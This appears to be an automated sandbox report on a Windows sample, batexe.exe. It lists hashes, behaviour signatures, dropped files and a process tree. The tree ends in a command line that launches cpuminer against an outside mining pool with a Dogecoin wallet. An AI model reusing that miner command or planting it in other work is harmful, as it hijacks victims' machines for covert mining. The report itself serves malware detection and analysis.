Analysis

  • max time kernel
    304s
  • max time network
    309s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    13-02-2024 09:02

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 6 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3120
    • C:\Users\Admin\AppData\Local\Temp\3BDB.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\3BDB.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\3BDB.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:6092
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\4A14.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:464
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:452

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\3BDB.tmp\b2e.exe

    Filesize

    5.5MB

    MD5

    17334807d7629756b100c6c1f54041e0

    SHA1

    28bea3232261b14e8a047e69627fab7662b81219

    SHA256

    deee344fbcd7d5a8e450daad50ac2a5e118b36e6869576faf0d61a214b44b5e8

    SHA512

    844bfc139b286d977af72e328ac01ceadf0689b91540ed2aaf49d16985c3a150e21021b54582827e8b580e62fa7ed5cfe8f4419014b61c1497868874a4202b4e

  • C:\Users\Admin\AppData\Local\Temp\3BDB.tmp\b2e.exe

    Filesize

    3.1MB

    MD5

    e6a998796edb208d11efbfc8ee56f813

    SHA1

    a35e54a57b5d461ee0bd492807b3b78004d69ec2

    SHA256

    22161d804184330e03ae68aabee84a3a6263b4b5933efd40184e7cc669c34e05

    SHA512

    ca8ddbc31e992a41a1bca608560dbb6f528cef8b5ff4ffdfceed8e76f09702a13d408d7b302c847a20105b04b639edbfa8b4fd5d7ae6f291c540df1bbafb6566

  • C:\Users\Admin\AppData\Local\Temp\3BDB.tmp\b2e.exe

    Filesize

    4.0MB

    MD5

    45b0716186ef0c08a368c8afd2e767d0

    SHA1

    8a0aeb822ace83ed8271586e44cdbffd5f031858

    SHA256

    2bca53fbff93efd4e6ffe18eccdde4837043f4338ae02057dccaae70eee876fa

    SHA512

    733fcdfd595f16476b654d6f1c69636969e0b371db2b305e1a953a8bec9c0ab5bc67265674b46dbe7b260afeeea394e903e87e235a0e7983ce1eec8243e71b0c

  • C:\Users\Admin\AppData\Local\Temp\4A14.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    113KB

    MD5

    a25de14a22503ecb23eee72f6847e479

    SHA1

    5de370b9cdf522197873db01ac12a5f7aceef968

    SHA256

    4e4b4568588191b9c1c1a502ec2c04e71a3603629cfa3e79025ea85ac3d24d99

    SHA512

    c90496665196561eefe6f6b780a2f709045f356afc084ab4f271e2bfb78fd991da2ab4bddf3505ddc08a74193a00cfd976399fa569caf0b49f316e4579956b00

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.0MB

    MD5

    aac365cf91d4e5c7a3184fbe75f6887d

    SHA1

    c3cc1c3c717208be7b6d90df22ba88aa461c7056

    SHA256

    b549fa010f79467df954ca69041223018037ed9e352e13c7dacec0a92e0b11dc

    SHA512

    a2a1e60d2df990513962c87eb65aa92f8aed15a87c464c948e49642c4f3b4567b513ef58a492c0b691fa1eeacba91846f330085d8fb6925936c2a6841c0dc18c

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    73KB

    MD5

    3a9b8f3f5874cd6d82803656949f881b

    SHA1

    9c887dacc0d29747487f9b9b1343c613e81e89f2

    SHA256

    99c4408aad5f8344ef971638b4576d8572c509a7a0a8bf236fe11af409cc3f92

    SHA512

    87838e47d17c7330908e7ccb15b4d85551a8a972fa377ed8d0b5461f96fbf436206c440244916c53cb71a112a14fa19fddd7eafc20437377e717037c2bf7fa19

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    15KB

    MD5

    24b8a6c4f1aab2ed69a85ae8f600b03a

    SHA1

    f4d0b935a671d313907f8ae77eabcc4f8c967fba

    SHA256

    db14a1f3fbe5bf75ca0d767f23bd21b7a18554204ed4a244b9c4a2236087c46b

    SHA512

    d4387a3b43703be9b0c8f57548173365ebb8156367d0d5f1854262d65595e0bd810926c19c24dc6a9d1e2d4a7df32e87a22cf07a4b4e89507c90e035b4103bc6

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    14KB

    MD5

    e08bc25b7143f5ad438a38a95d383599

    SHA1

    d9aeb555ee1bf78f0af69d576bb3dd1139f3b973

    SHA256

    999d6a9cc1ee5d8aafccee247c9ad40e8783473af3107fee43681284822076fd

    SHA512

    6ea8acad6df52e0e1c873c7ec66ae425ba783595f4253dab80cc343edd5ee60a999f9dd7fceb77f4cf273e1e89e0e0c8ce0505a65aab6b10fd09a82df081de22

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    810KB

    MD5

    02ee569b3758024269bb3c057eee2692

    SHA1

    fa4a7f2f84c85eb7786f8aa5bb781ada639a3064

    SHA256

    c9dd7a484c055508350f1f1c1c9eedfa75d3ea967f91cb51a9213228e7cdde46

    SHA512

    c1a73ff6c44a2bd106d83faa444547a46978c383dec5c26d7c0654cccb2cdad9a28e2103fc994baa811e279a5f62fefdf9b44293b82ca4a09756ee6d6429a090

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    158KB

    MD5

    cefec4e0991537e02773338470e36693

    SHA1

    98337238ba39675ec046eaf3be0b19a03398c8ef

    SHA256

    ff8aa536ea0c8dfbe89e7e9fe2ae97aa205691ca0727dabe6b19b53abdf08467

    SHA512

    34f17ea55ce66f0d344f9d8eb6749359623e9115aee6ad41678d08df5e1601e51a64c499a658ff6a7bbd5e18b583ffd27431ac67874f4d83cd8002c4e4127a10

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    134KB

    MD5

    e64747e48789e8d4a1d4d7632baddb0f

    SHA1

    320e6abaa7e11d06dd578fc82afb01f3777efae4

    SHA256

    1d834e1e8dfa287aa4474fa769450e4dca74b95473a349e87b582ebb3dd7910f

    SHA512

    173921c9f323346e8e9182fbc01cd68d5caf7db3c3a58a65ccd53d6b9a99b7645fddec52bf5a7149f5c7f43d1e9f3990a2eedc4830835af42d7fe0e1a5479677

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    125KB

    MD5

    a31b53fb563529d0bd4cab8ad4e437c3

    SHA1

    c05f05ca538b8aeb2150a1ddcd1b322a4ec666d2

    SHA256

    d72da6ba484ab04f4a8c8716b09371e50e659fd905a45c2c0191a5ba1a485960

    SHA512

    47e1c228640925d50270906d10cca38d9b207da1fe7fe6003ce2e70de05cd856340104508d3cb4dd18d1709e5bf3abff2e09605e5e0a87e1ea6c32c03c2dca0e

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    125KB

    MD5

    f2541b996b853bb7489579f86f1f8dfb

    SHA1

    c207dc9213bd55f75cbe2fea360b17a89bd9685f

    SHA256

    7c5dff6138f2e175a939e91c2d94fdbc66e1f31bcab83879cbda2bc200f16c29

    SHA512

    404ee25b6e072918ea4e97062c8f80cf984c32bfd5599cbf77265c057676f80765bd6a353372d633574cee45580d82f684a42d349acf0d9b0cc33d325f8897f1

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    425KB

    MD5

    8b203b381d059501764ae6f7fc43f05b

    SHA1

    30c6abe0879998cdb47983203ace22af3936b433

    SHA256

    53134c5cd7ca71146d74544d1ffaf2e0fe4fa06ee53e03ff5439ea4f75091fa0

    SHA512

    15e38266e3a7adb7efbd7e6b09fa26119c9642ae57e454a263eb3dc67b19220c20cd6e4bd73ef37ea46eeb5124561d30c0fcb1d437a27f4a689dd5b6e03c8ef1

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/452-50-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/452-49-0x0000000065FD0000-0x0000000066068000-memory.dmp

    Filesize

    608KB

  • memory/452-101-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/452-45-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/452-42-0x0000000000F40000-0x0000000000FFC000-memory.dmp

    Filesize

    752KB

  • memory/452-47-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/452-91-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/452-48-0x0000000000F40000-0x0000000000FFC000-memory.dmp

    Filesize

    752KB

  • memory/452-46-0x000000006FC40000-0x00000000714F5000-memory.dmp

    Filesize

    24.7MB

  • memory/452-86-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/452-61-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/452-71-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/452-76-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3120-9-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/6092-55-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/6092-7-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB